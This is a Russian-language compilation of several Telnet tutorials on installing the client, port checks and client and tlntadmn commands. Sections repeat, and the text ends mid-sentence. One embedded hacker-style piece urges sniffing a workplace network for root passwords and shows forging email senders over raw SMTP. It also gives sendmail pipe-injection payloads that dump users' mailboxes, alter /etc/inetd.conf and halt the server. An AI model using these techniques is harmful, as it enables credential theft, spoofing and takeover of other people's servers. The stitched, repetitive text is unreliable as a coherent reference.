TELNET— основы использования

Что такое Telnet и как пользоваться утилитой

Не все пользователи компьютеров знают о наличии скрытых служб, которые позволяют выполнять различные операции без использования специального программного обеспечения. В операционных системах Windows и Linux присутствует служба Telnet. В этом материале будет подробно рассмотрено назначение службы, команды, возможности и как с ней правильно работать.

Что такое Telnet

Telnet – представляет собой средство связи, которое устанавливается между терминальными устройствами. Пример такой связи достаточно простой: персональный компьютер и сервер, который поддерживает подобный тип соединения. Телнет не является каким-либо программным обеспечением, это протокол связи. Но необходимо отметить, что есть некоторые утилиты, которые работают посредством протокола «terminalnetwork».

В недавнем прошлом Телнет был одним из основных способов подключения к сети. Сейчас утилита практически не используется. На сегодняшний день в операционные системы установлены более совершенные протоколы, исключая какие-либо дополнительные действия от пользователя.

Этот протокол связи используется в некоторых операциях:

  • подключение к удаленному рабочему столу;
  • проверка портов на возможность подключения;
  • использование программного обеспечения, которое доступно только на удаленных машинах;
  • применение системных каталогов, которые могут быть открыты только с использованием этого типа протокола;
  • отправка электронной почты без использования дополнительного софта;
  • пользователи, применяя этот протокол позволяет другим юзерам получить доступ к своему персональному компьютеру.

Установка и запуск

Скачивать утилиту не нужно, Telnet встроен в Windows 7/8/10 по умолчанию.

Инструкция по установке и запуску:

  • для установки клиента нужно открыть «Панель управления»;
  • далее выбираем «Программы» и «Включение и отключение компонентов»;
  • в списке системных компонентов следует найти «Клиент Telnet»;
  • отмечаем чекбокс и щелкаем «ОК», начнется процесс установки.

Для того, чтобы запустить клиент нужно открыть командную строку:

  • в меню «Пуск», в поисковой строке ввести «CMD»;
  • далее запускаем командную строку от имени администратора и вводим «Telnet»;
  • после этого откроется окно утилиты.

Предлагаем ознакомиться с видео по установке Телнет в Windows:

Проверка порта

Проверка сетевого порта на наличие доступа к нему персонального компьютера в Telnet:

  • в окне необходимо ввести команду telnetip;
  • далее следует ввестиIP адрес компьютера, например, 192.168.1.1. Посмотреть адрес можно в настройках сетевого маршрутизатора;
  • в конце вводим порт FTP «21». Таким образом команда будет выглядеть так: telnet 192.168.0.1 21;
  • после этого появится сообщение об ошибке, если порт недоступен или с просьбой ввести дополнительные данные, если порт открыт.

Команды Telnet

Команды утилиты являются способом взаимодействия с ней. Для отображения списка всех команд, необходимо ввести «help». Далее подробно разберем основные команды:

  • «open» — запрос позволяет выполнить подключение к удаленному серверу;
  • «close» — прерывание процесса подключения к удаленному серверу;
  • «set» — настройка параметров подключения к серверу;
  • «term» — запрос предназначен для указания типа терминала;
  • «escape» — задает управляющий символ;
  • «mode» — выбор режима работы;
  • «unset» — сброс ранее введенных параметров;
  • «start» — запуск сервера;
  • «pause» — временная остановка работы сервера;
  • «continue» — продолжение работы сервера после паузы;
  • «stop» — полное прекращение работы сервера.

Telnet в Linux

Как и в Виндовс, Телнет встроен в операционную систему Linux. Ранее он использовался, как стандартный протокол Telnet, теперь на его место пришел более улучшенный SSH. Как и с предыдущей ОС, утилита в Linux используется для проверки портов, маршрутизаторов и т.д.

Рассмотрим основные режимы работы:

  • «построчный». Данный режим работы является рекомендованным. В этом случае редактирование запроса осуществляется на локальном ПК и отправляется на сервер только в том случае, когда она готова;
  • «посимвольный». Каждый набранный символ в окне консоли отправляется на удаленный сервер. Здесь нельзя осуществить редактирование текста. При удалении символа с помощью «Backspace», он тоже будет отправлен на сервер.

Базовые команды в Linux:

  • «close» — прерывание подключения;
  • «encrypt» — включение шифрования;
  • «logout» — выключение утилиты и закрытие соединения;
  • «mode» — выбор режима работы;
  • «status» — состояние соединения;
  • «send» — отправка запроса телнет;
  • «set» — настройка параметров сервера;
  • «open» — подключение к удаленному серверу;
  • «display» — отображение специальных символов.

Далее рассмотрим несколько способов применение утилиты в Linux:

  • в окне консоли вводим запрос для проверки доступности сервера, например, «telnet 192.168.1.243»;
  • далее проверим доступ к порту путем ввода запроса «telnet localhost 122» и «telnet localhost 21». На экране консоли появится сообщение о том принимает ли соединение какой-либо из портов;
  • пример удаленного управления с помощью телнет. Для этого необходимо ввести в главном окне запрос «telnet localhost 23». «23» порт используемый по умолчанию. Чтобы произвести удаленное управление, необходимо установить на локальный компьютер «telnet-server». После этого появится сообщение с требованием ввода логина и пароля.

Недостатки Telnet

Главным недостатком данного протокола является – удаленное соединение без использования шифрования. Единственным моментом безопасности является авторизация пользователей в сессии телнет. Но тем не менее логин и пароль также передаются в незашифрованном виде, тем самым доступ к ним можно так или иначе получить. Настоятельно не рекомендуется передавать какие-либо важные данные в локальных сетях.

Telnet не является внутренней или внешней командой

Данная ошибка появляется в том случае, если данный клиент не установлен на персональном компьютере. Необходимо выполнить следующие действия:

  • открываем «Панель управление»;
  • переходим в «Программы» и в левом столбце «Включение или отключение компонентовWindows»;
  • в открывшемся окне находим «Клиент Telnet» и отмечаем данный чекбокс, жмем «Ок».

  • необходимо открыть командную строку от имени администратора;
  • в окне требуется ввести «dism /online /Enable-Feature /FeatureName:TelnetClient»;
  • если список компонентов не отображается, выполняем правку реестра;
  • сочетанием клавиш «Win+R» запускаем утилиту «Выполнить»;
  • раскрываем древо и находим «HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWindows»;
  • далее находим значение «CSDVersion» и параметр «200» меняем на «0».

TELNET— основы использования

Немногие пользователи компьютера сегодня знают о существовании различных специальных протоколов на компьютере, позволяющих без использования графического интерфейса и сторонних программ выполнять различные действия. Поэтому сразу возникает желание узнать, как пользоваться службой TELNET, когда узнают о соответствующем протоколе.

Далее будут изложено немного теории о том, что такое TELNET, то, ради чего многие и стремятся ей овладеть: возможности службы, а также список основных команд, позволяющий эти возможности осуществить на Windows.

Сетевой протокол и текстовый интерфейс

TELNET — это средство связи, которое устанавливает транспортное соединение между терминальными устройствами, клиентами, то есть вашим компьютером и чьей-то ещё машиной, сервером, поддерживающей этот стандарт соединения. Это не специальная программа, а всего лишь сетевой протокол, но также словом TELNET (terminalnetwork) называют различные утилиты, которые также используют этот протокол. Сегодня Телнет присутствует практически везде, все ОС, так или иначе, его используют, в том числе и Windows.

TELNET реализует текстовый интерфейс, который отличается от привычного рядовому пользователю графического тем, что все команды необходимо вбивать вручную.

Что нам всё это даёт?

Ранее эта служба была одним из немногих способов подключения к сети, но с течением времени утратила свою актуальность. Сегодня есть гораздо более удобные программы, которые делают за пользователя всю работу, и не заставляют его заучивать наизусть различные команды для того, чтобы выполнить простейшие действия. Однако кое-что при помощи Телнет можно сделать и сейчас.

Подключения к сети

При помощи Телнет вы можете:

  • подключаться к удалённым компьютерам;
  • проверить порт на наличие доступа;
  • использовать приложения, которые доступны только на удалённых машинах;
  • использовать различные каталоги, к которым получить доступ можно только таким образом;
  • отправлять электронные письма без использования специальных программ (клиентов);
  • понимать суть работы многих протоколов, использующихся сегодня, и извлекать из этого для себя определённую выгоду;
  • обеспечивать другим юзерам доступ к данным, размещённым на своём компьютере.

Начинаем пользоваться

Запустить TELNET на Windows 7 и на любой другой Винде достаточно просто. Для этого необходимо сначала клиент, если он ещё не установлен:

  • Зайти в Панель управления.

  • Выбрать пункт «Программы».
  • Выбрать вкладку «Включение или отключение компонентов Windows».

  • Найти Telnet-клиент и поставить напротив него маркер, если он ещё не установлен.

После нажимаем «ОК» и ждём минуту, пока клиент устанавливается.

Запуск терминала осуществляется в Windows через командную строку, если у вас не установлено каких-либо специальных утилит для работы с Телнет. Но раз вы читаете эту статью, значит, только начинаете знакомство с этой темой, и для начала неплохо бы было освоить основы управления при помощи командной строки.

  1. Запускаем командную строку от имени администратора.
  2. Вводим «telnet».

Командная строка перезагружается, и теперь откроется командная линия TELNET, в которой мы и будем работать.

Проверяем порт

Одно из простейших действий, выполняемых в TELNET — проверка порта. Вы можете проверить порт на наличие доступа к нему с вашего компьютера. Для этого нужно сделать следующее:

В командной строке, открытой по методу выше вводим: telnetip-адрес номер порта

К примеру, если ваш IP-адрес 192.168.0.1, а номер порта 21 (порт FTP), то вводим:

telnet 192.168.0.1 21

Если команда выдаёт сообщение об ошибке, значит, порт недоступен. Если появляется пустое окно или просьба ввести дополнительные данные, значит, порт открыт. Для Windows такой способ проверить порт может быть достаточно удобным.

Команды TELNET составляют основу использования терминала. С их помощью можно управлять компьютером, который использует этот протокол, если для вас разрешён доступ, а также совершать другие различные действия. Как уже сказано выше, на Windowsони вводятся в командной строке приложения Телнет.

Для того чтобы увидеть основной список команд, введите в строке helpи нажмите «Enter». Базовые команды:

  1. Open — подключение к удалённому серверу. Необходимо ввести эту команду вместе с именем управляемого сервера и номером порта, например: openredmond 44. Если параметры не указаны, то используются локальный сервер и порт по умолчанию.
  2. Close — отключение от удалённого сервера. Используются аналогичные параметры.
  3. Set — настройка удалённого сервера, используется с именем управляемого сервера. Вместе с Set используются следующие команды:
    1. [Term <терминал>] — используется, чтобы задавать терминал указанного типа.
    2. [Escapeсимвол] — задаёт управляющий символ.
    3. [Mode ] — задаёт режим работы.
  4. Unset [параметр] — отключает заданный ранее параметр.
  5. Start — запускает сервер Телнет.
  6. Pause — ставит работу сервера на паузу.
  7. Continue — возобновляет работу.
  8. Stop — останавливает сервер.

TELNET — один из старейших протоколов, но при этом он до сих пор применяется. Это означает, что и вы можете начать использовать его в своих целях. Для этого нужно лишь изучить синтаксис и список команд и начать практиковаться. Вы можете почерпнуть много нового, а заодно совсем по-другому начать смотреть на интернет и на привычные ранее действия в сети.

Учимся использовать Telnet #1

Часть первая. Хочу но не
могу.

Зачастую меня спрашивают ,
«Как типа телнет поюзать?» Гммм, ну начнем с
того что «телнет» в привычном понимании —
это всего лишь терминал ,который позволяет
несчастному юзеру стать клиентом
какого-нибудь сервиса завязанного на TCP/IP.
Соответственно, для начала нужно определиться
,куда нам нужно)) и нужно ли
нам это. Часто задаваемый вопрос номер два , а
где мне взять телнет клиента(терминал)? Ну
большинство начинающих странников (от слова
странный) даже не догадываются о том ,что телнет
клиент уже стоит на машине))) вызовите командную
строку дос и наберите там telnet (при условии ,что вы
уже подключены в сеть). Добрый windows порадует вас
на редкость кривым клиентом, не имеющим
возможности настройки типа терминала.Гораздо
более приятно пользоваться универсальным
клиентом SecureCRT (http://www.vandyke.com).Если
у тебя стоит Linux или BSD ,то ты уже достиг
могущества и тебе осталось в X`ах вызвать консоль
и набрать telnet.
Коннект производится так:
telnet hostname/IP port
Где hostname/IP — имя хоста/IP на который ты решил
повеситься, port — номер порта, через который ты
собрался иметь удаленную систему.

Часть Вторая. Безвозвратно
погибшее прошлое.

Итак для чего изачально был
нужен этот чудо терминал? Для коннекта на порт 23,
который использует UNIX telnetd ,то бишь телнетный
демон. В результате ,после ввода имени
пользователя и пароля ты вываливаешся прямо в shell
и можешь управлять(с правами назначенными тебе
админом) удаленной машиной так же , как будто ты
сидишь непосредственно за ней))). Но в сем сервисе
было столько багов , что умные люди его давно
пофиксили и перешли на SSH. Основная проблема в
том, что юзер, нюхающий траффик в локалке по 23
порту может без проблем прочитать админовские
login&password (никакого шифрования) сплошной plain text.
БРРРРРР. Но если ты ,находясь в локальной сети
своей организации, набрал telnet servername и увидел
нечто типа:
Linux RedHat 6.0
login
Значит ты теперь можешь смело включать сниффер
на 23 порт и ловить пакетики)) Ну за один рабочий
день ты наверняка получишь рутовый логин и
пароль)))

Часть Третья. SendMail
зачастую все еще дыряв.

Гммм. Ну нафига нам сперся 23
порт )))? Попробуем поиметь через 25, то бишь sendmail.
Выглядит это примерно так:

telnet hostname 25
Trying 194.68.13.231.
Connected to gwx3.host.ru.
Escape character is ‘^]’.
220 gwx3.host.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 1 Aug 2000 08:54:59 +0400
УРА ты повесился напрямую на 25 порт что дальше?
Дальше поздороваемся:
HELO domainname.com
(кстати имя домена может быть любое, но
желательно реально существующее к примеру YAHOO.COM)
далее пишем от кого письмо:
mail from : billgates@microsoft.com
— вот тебе и анонимность . )))
теперь кому:
rcpt to : username
username — имя юзера которому шлем мыло, root — есть
всегда)))))
ну теперь сама мессага:
data — жмем Enter
здесь печатаем текст .
для того чтобы закончить послание ставим .(точку)
и жмем Enter
quit — валим отсюда))

ВСЕ. мы только что отправили
вполне анонимное мыло без всяких там клиентов)))
Радость в том ,что , зачастую, в sendmail есть
следующие баги:
1. mail from : sendername|any_command_as_U_want — возможность
выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want — возможность
выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename — возможность
направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно
прислал письмо где был следующий вопрос:
«А что мне это дает?» Ну что я могу сказать
.
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt — получаем
список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt
получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf — добавляем
произвольные команды в конец инет демона)).
/sbin/halt — паркуем сервак))) и т.д.

Во втором случае . )))
Ну попробуй подумать, пиши что хочешь и куда
хочешь))) Можно дописать произвольные команды
скажем в /etc/inetd.conf . все зависит от твоей
фантазии.

Часть четвертая,
прикладная пауза.

Как пользоваться telnet

Telnet — это сетевая утилита, которая позволяет соединиться с удаленным портом любого компьютера и установить интерактивный канал связи, например, для передачи команд или получения информации. Можно сказать, что это универсальный браузер в терминале, который умеет работать со множеством сетевых протоколов.

Эта утилита очень часто использовалась раньше, для удаленного управления компьютером с Linux, но потом ей на замену пришел защищенный протокол SSH. Но telnet все еще используется, например, для тестирования сети, проверки портов, а также для взаимодействия с различными IoT устройствами и роутерами. В этой статье мы рассмотрим что такое telnet, а также как пользоваться telnet для решения своих задач.

Что такое Telnet?

Как я уже сказал, эта утилита предназначена для создания интерактивного соединения между удаленными компьютерами. Она работает по протоколу TELNET, но этот протокол поддерживается многими сервисами, поэтому ее можно использовать для управления ими. Протокол работает на основе TCP, и позволяет передавать обычные строковые команды на другое устройство. Он может использоваться не только для ручного управления но и для взаимодействия между процессами.

Для работы с этим протоколом мы будем использовать утилиту telnet, ею очень просто пользоваться. Давайте рассмотрим синтаксис telnet:

$ telnet опции хост порт

Хост — это домен удаленного компьютера, к которому следует подключиться, а порт — порт на этом компьютере. А теперь давайте рассмотрим основные опции:

  • -4 — принудительно использовать адреса ipv4;
  • -6 — принудительно использовать адреса ipv6;
  • -8 — использовать 8-битную кодировку, например, Unicode;
  • -E — отключить поддержку Escape последовательностей;
  • -a — автоматический вход, берет имя пользователя из переменной окружения USER;
  • -b — использовать локальный сокет;
  • -d — включить режим отладки;
  • — режим эмуляции rlogin;
  • -e — задать символ начала Escape последовательности;
  • -l — пользователь для авторизации на удаленной машине.

Это все, что касается команды telnet для установки соединения. Но соединение с удаленным хостом, это только полдела. После установки подключения telnet может работать в двух режимах:

  • Построчный — это предпочтительный режим, здесь строка текста редактируется на локальном компьютере и отправляется только тогда, когда она будет полностью готова. На такая возможность есть не всегда и не у всех сервисов;
  • Посимвольный — все набираемые вами символы отправляются на удаленный сервер. Тут будет сложно что-либо исправить, если вы допустили ошибку, потому что Backspace тоже будет отправляться в виде символа и стрелки движения тоже.

Использование telnet заключается в передаче специальных команд. У каждого сервиса свои команды, но у протокола есть свои команды telnet, которые можно применять в консоли telnet.

  • CLOSE — закрыть соединение с сервером;
  • ENCRYPT — шифровать все передаваемые данные;
  • LOGOUT — выйти и закрыть соединение;
  • MODE — переключить режим, со строчного на символьный или с символьного на строчный;
  • STATUS — посмотреть статус соединения;
  • SEND — отправить один из специальных символов telnet;
  • SET — установить значение параметра;
  • OPEN — установить подключение через telnet с удаленным узлом;
  • DISPLAY — отобразить используемые спецсимволы;
  • SLC — изменить используемые спецсимволы.

Мы не будем рассматривать все команды, поскольку они вам вряд ли понадобятся, а если и понадобятся, то вы легко сможете их найти в официальной документации.

Как пользоваться telnet?

Дальше мы рассмотрим как использовать telnet для решения ваших задач. Обычно, утилита уже установлена в большинстве систем, но если это не так, то вы можете установить telnet из официальных репозиториев, например, в Ubuntu:

sudo apt install telnet

Теперь перейдем к применению утилиты. Изначально она использовалась для удаленного управления компьютером, но поскольку потом был разработан более безопасный протокол SSH, использовать ее перестали.

1. Доступность сервера

Утилита все еще может быть полезной при поверке доступности узла, для этого просто передайте ей ip адрес или имя хоста:

Для этого не обязательно применять telnet, есть ping.

2. Проверка порта

C помощью telnet мы можем проверить доступность порта на узле, а это уже может быть очень полезным. Чтобы проверить порт telnet выполните:

telnet localhost 123
$ telnet localhost 22

В первом случае мы видим, что соединение никто не принимает, во втором же выводится сообщение об успешном подключении и приветствие SSH сервера.

Чтобы включить режим отладки и выводить более подробную информацию во время работы используйте опцию -d во время подключения:

sudo telnet -d localhost 22

4. Консоль telnet

Использование консоли telnet тоже важный момент в разборе как пользоваться telnet. В основном режиме вы можете выполнять команды, на удаленном сервере, если же вы хотите адресовать команду именно telnet, например, для настройки ее работы, необходимо использовать спецсимвол для открытия консоли, обычно утилита сразу говорит вам что это за символ, например, по умолчанию используется «^[«:

Для его активации вам нужно нажать сочетание клавиш Ctrl+[, затем вы уведите приглашение ввода telnet.

Чтобы посмотреть все доступные команды, вы можете набрать ?. Например, вы можете посмотреть статус подключения:

Здесь есть и другие интересные возможности. Такие вещи можно проделывать при любом подключении с помощью утилиты telnet.

5. Посмотреть сайт telnet

Один из распространенных способов использования telnet — это тестирование сайта из консоли. Да, красивую веб-страницу вы не получите, но можете вручную собрать запросы и видеть все переданные сервером данные.

telnet opennet.ru 80

Затем наберите команду веб-серверу:

Веб сервер вернет полностью страницу, а также заголовки, которые необходимы для ее отображения браузером.

6. Удаленное управление telnet

Настоятельно не рекомендуется использовать небезопасный telnet для удаленного управления, потому что все команды и пароли могут быть прослушаны сторонним пользователем. Но иногда, например, для роутеров telnet все же используется для удаленного управления. Все работает точно так же, как и для других подключений, только нужно использовать порт 23, а на удаленном компьютере должен быть установлен telnet-server:

telnet localhost 23

Тут порт можно даже не указывать, потому что по умолчанию будет использоваться именно 23. Далее, вам нужно ввести логин и пароль, а затем вы сможете выполнять команды в удаленной системе.

В этой статье мы рассмотрели примеры использования telnet, а также что представляет из себя эта утилита, хотя она уже не используется по своему основному назначению, но до сих пор может быть полезной многим пользователям и системным администраторам. Если у вас остались вопросы, спрашивайте в комментариях!

Команды Telnet

Команды telnet позволяют связаться с удаленным компьютером, использующим протокол Telnet. Можно выполнить команду telnet без параметров для входа в контекст telnet, обозначенный в командной строке Telnet (telnet). В командной строке Telnet используйте следующие команды для управления компьютером, на котором выполняется клиент Telnet.

Команды tlntadmn позволяют удаленно управлять компьютером, на котором выполняется сервер Telnet. Эти команды выполняются из командной строки. Команда tlntadmn без параметров отображает настройку локального сервера.

Чтобы использовать команды telnet из командной строки Telnet

Чтобы запустить клиент Telnet и ввести командную строку Telnet

Примечания

  • При использовании команды telnet без параметров запускается клиент Telnet.
  • В командной строке Telnet необходимо использовать команды Telnet.

Чтобы остановить клиент Telnet

Примечания

  • Допускается сокращение этой команды до q.

Чтобы подключить клиент Telnet к удаленному компьютеру

Примечания

  • Допускается сокращение этой команды до o.

Чтобы подключиться к удаленному серверу Redmond через порт 44, введите в командную строку:
o redmond 44

Чтобы отключить клиент Telnet от удаленного компьютера

Примечания

  • Допускается сокращение этой команды до c.

Чтобы отключиться от удаленного сервера Redmond, введите команду:
c redmond 44

Чтобы настроить параметры клиента Telnet

Примечания

  • Чтобы отключить назначенный ранее параметр, в командной строке Telnet, введите:

Чтобы назначить управляющий символ, введите команду:

  • В версиях Telnet, отличных от английской, доступна команда codesetпараметр. Codesetпараметр задает текущий кодовый набор для параметра, который может быть одним из следующих: Shift JIS, Japanese EUC, JIS Kanji,JIS Kanji (78), DEC Kanji, NEC Kanji. Необходимо назначить такой же кодовый набор на удаленном компьютере.
  • Чтобы отправить команды клиента Telnet

    Чтобы посмотреть текущие параметры клиента Telnet

    Примечания

    • Данная команда выводит текущие рабочие параметры для клиента Telnet. При работе в режиме сеанса Telnet (другими словами, при подключении к серверу Telnet), можно выйти из сеанса для изменения параметров, нажав клавиши CTRL+]. Для возвращения в сеанс Telnet нажмите клавишу ENTER.

    Чтобы использовать команды tlntadmn из командной строки

    Чтобы администрировать компьютер, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы администрировать сеансы Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы установить параметры журанала событий для компьютера, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.
    • Если указано, куда отправить сведения о событии без определения типа или типов сведений для аудита, только для сведений о событиях регистрации администратора будет проводиться аудит и отправка в указанное место.

    Для отправки информации о событиях в окно просмотра событий введите:

    tlntadmn config auditlocation=eventlog

    Для аудита событий регистрации администратора и неудачных попыток регистрации введите:

    tlntadmn config audit=+admin +fail

    Чтобы задать основной домен для компьютера, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы сделать домен Redmond основным доменом на локальном сервере, введите:

    tlntadmn config dom=Redmond

    Чтобы сопоставить клавишу ALT для компьютера, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.
    • Если клавиша ALT не сопоставлена, сервер Telnet не отправляет нажатие клавиши ALT в приложения, где это может потребоваться.

    Чтобы задать максимальное число подключений для компьютера, на котором выполняется сервер Telnet

    tlntadmn [\удаленный_сервер] config [maxconn= положительное_целое]

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы задать максимальное число неудачных попыток доступа для компьютера, на котором выполняется сервер Telnet

    tlntadmn [\удаленный_компьютер] config [maxfail= положительное_целое]

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлениемWindows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы задать режим работы для компьютера, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы задать порт Telnet для компьютера, на котором выполняется сервер Telnet

    tlntadmn [\удаленный_сервер] config [port= целое_значение]

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.

    Чтобы задать методы проверки подлинности для компьютера, на котором выполняется сервер Telnet

    Примечания

    • С помощью команд tlntadmn можно удаленно администрировать компьютер, на котором запущен сервер Telnet, если оба компьютера работают под управлением Windows XP. Команды tlntadmn не могут быть использованы для удаленного администрирования сервера Telnet, работающего под управлением Windows 2000, с компьютера, работающего под управлением Windows XP.
    • NTML это протокол проверки подлинности для транзакций между двумя компьютерами, один из которых или оба находятся под управлением Windows NT 4.0 и более ранних версий. Кроме того, протокол проверки подлинности NTML используется для компьютеров, не входящих в домен, таких как независимые серверы и рабочие группы.

    Чтобы задать таймаут простоя сеансов для комьютера, на котором выполняется сервер Telnet

    Основные команды telnet и особенности утилиты удалённого доступа

    Использование команды telnet предоставляет возможность установки канала связи с компьютерами на расстоянии.

    А сама утилита представляет собой практически своеобразный эмулятор браузера в терминале, поддерживающий несколько сетевых протоколов.

    Раньше telnet часто использовался для того чтобы управлять ПК с операционной системой «Линукс».

    А сейчас с помощью этой же утилиты тестируют сеть, проверяют порты, управляют роутерами и другими IoT-устройствами.

    Содержание:

    Особенности утилиты

    Несмотря на то, что главной задачей telnet является создание связи между удалёнными друг от друга ПК по одноимённому протоколу, с помощью утилиты можно управлять и другими сервисами.

    Например, получать доступ к POP3, HTTP, IRC или SMTP.

    Ведь эти и некоторые другие сервисы работают на базе транспортного протокола TCP, для работы с которым можно пользоваться клиентом telnet.

    Хотя делать это не всегда рекомендуется из-за ряда нежелательных эффектов – например, незащищённости передачи данных или их искажения.

    Рис. 1. Включение утилиты telnet в Windows.

    Синтаксис команд telnet при подключении к удалённому компьютеру выглядит следующим образом: $ telnet (опции) (хост) (порт).

    Хост представляет собой домен того компьютера, к которому проводится подключение. Порт – порт на том компьютере, с которого осуществляется доступ. А опции могут быть следующими:

    • -4 и -6 обеспечивают принудительное использование адресов ipv4 и ipv6, соответственно;
    • -8 даёт возможность использования 8-битной кодировки;
    • -Е отключает поддержку escape-последовательностей ;
    • -a автоматически регистрирует пользователя в удалённой системе;
    • -d включает отладочный режим;
    • -p включает эмуляции rlogin;
    • -e устанавливает начальный управляющий символ;
    • -l авторизует пользователя в системе.

    После того как соединение с удалённым хостом установлено утилита telnet начинает работу в одном из двух режимов – построчном или посимвольном.

    Первый вариант наиболее предпочтительный из-за возможности редактирования текста прямо на локальном ПК и отправления его только после того, как пользователь полностью набрал всю информацию.

    Недостатком такого построчного режима является отсутствие его поддержки некоторыми сервисами. В то время как посимвольный можно применять в любом случае.

    Однако при его использовании вся информация отправляется на удалённый ПК моментально.

    И, если пользователь допустил ошибку, исправить её будет невозможно – ведь даже пробелы и Backspace отправляются на сервер в виде символов.

    Читайте также:

    Основные команды

    Работая с протоколом telnet, пользователь вводит в консоли соответствующие команды. К самым популярным относят следующие:

    • OPEN (название ПК) (порт). Позволяет обеспечить связь с компьютером, имя которого указано в команде. Если не указывать порт, утилита попытается использовать номер, выбранный по умолчанию. Иногда вместо имени ПК указывают его IP-адрес;
    • DISPLAY (аргумент). Команда для отображения полного или частичного набора параметров утилиты telnet;
    • CLOSE. Предназначена для закрытия сессии «телнет» и возвращения системы в командный режим;
    • QUIT. Команда для завершения всех открытых соединений и выведения из telnet;

    Рис. 2. Использование команды Quit в клиенте MS Telnet.

    • MODE TYPE. Используется для управления одним из двух вариантов режима ввода (посимвольным или построчным). При этом удалённому компьютеру отправляется запрос на переход в определённый режим, и, если он поддерживается сервисом, обеспечивается соответствующее переключение;
    • STATUS. Команда, с помощью которой отображается текущий статус утилиты, имя удалённого ПК и режим обмена;
    • ? (команда). Сообщает информацию о соответствующей командной последовательности. Нужна в тех случаях, когда пользователь собирается применить незнакомую ему команду;
    • ! (команда). Выполняет командную последовательность на локальной системе;
    • SEND ARGUMENTS. Посылает символьные аргументы удалённому ПК;
    • ESCAPE. Отправляет один из escape-знаков типа запятой, скобки или символа «карет» (^);
    • SYNCH. Служит для отправления synch-последовательности, позволяющей отменить все набранные, но ещё не отправленные команды. Используется только в построчном режиме;
    • BRK . Отправление break-последовательности при нажатии клавиши Break.

    Все эти команды являются основными, хотя общее их количество намного больше. Однако из-за достаточно редкого применения этой утилиты полный их перечень проще всего найти, введя в терминале HELP .

    А, после вывода на экран полного списка, получить справочную информацию о каждой командной последовательности с помощью команды «?».

    Хотя, например, для клиента telnet в Windows перечень может оказаться сокращённым.

    Рис. 3. Список команд telnet в клиенте Microsoft.

    Вам это может быть интересно:

    Формат команды (не полная, но достаточная для практики, версия)

    telnet host [port]

    host — официальное доменное имя машины или ее псевдоним (alias), или ее IP-адрес в виде цифр, разделенных точками;

    port — определяет номер порта (адрес приложения). Если номер порта не задан, то принимается номер порта TELNET по умолчанию — 23.

    Если команда telnet используется без аргументов, тогда вводится командный режим, о котором сигнализирует подсказка.

    В этом режиме доступа и выполняются следующие основные команды:

    open host [-port], — открывает соединение с названной системой;

    close — закрывает TELNET соединения и возвращает вас в командный режим;

    quit — заканчивает все открытые TELNET соединения и выводит вас из telnet;

    ! [команда] — выполнение отдельной команды в shell на локальной системе;

    status — показывает текущий статус telnet;

    ? [команда] — получение помощи. Если аргумента нет, то telnet выдает список всех своих команд.

    Возможные сообщения об ошибках:

    Unknown Host 1. Имя или адрес были набраны неправильно

    Connection Refused 1. Удаленный компьютер функционирует с ошибками

    Connection Dropped. Проблема с сетью или удаленным хостом, приведшая к закрытию соединения

    Порой весьма сложно закрыть TELNET-соединения, например, из-за резкого замедления прохождения IP-пакетов или разрыва связи по выделенной линии. Лучший совет — внимательно читать все инструкции, которые появляются, когда вы делаете login в систему. Если же на экране нет ничего, что могло бы помочь, попробуйте одну из этих команд:

    exit, quit, logout, //end, end, leave, bye, disconnect, goodbye, ciao, Ctrl-D, или Ctrl-Z.

    В последнем случае на ряде платформ Ctrl-Z переводит ваше TELNET соединение в фоновый режим с выводом номера процесса, после чего желательно оборвать этот процесс командой

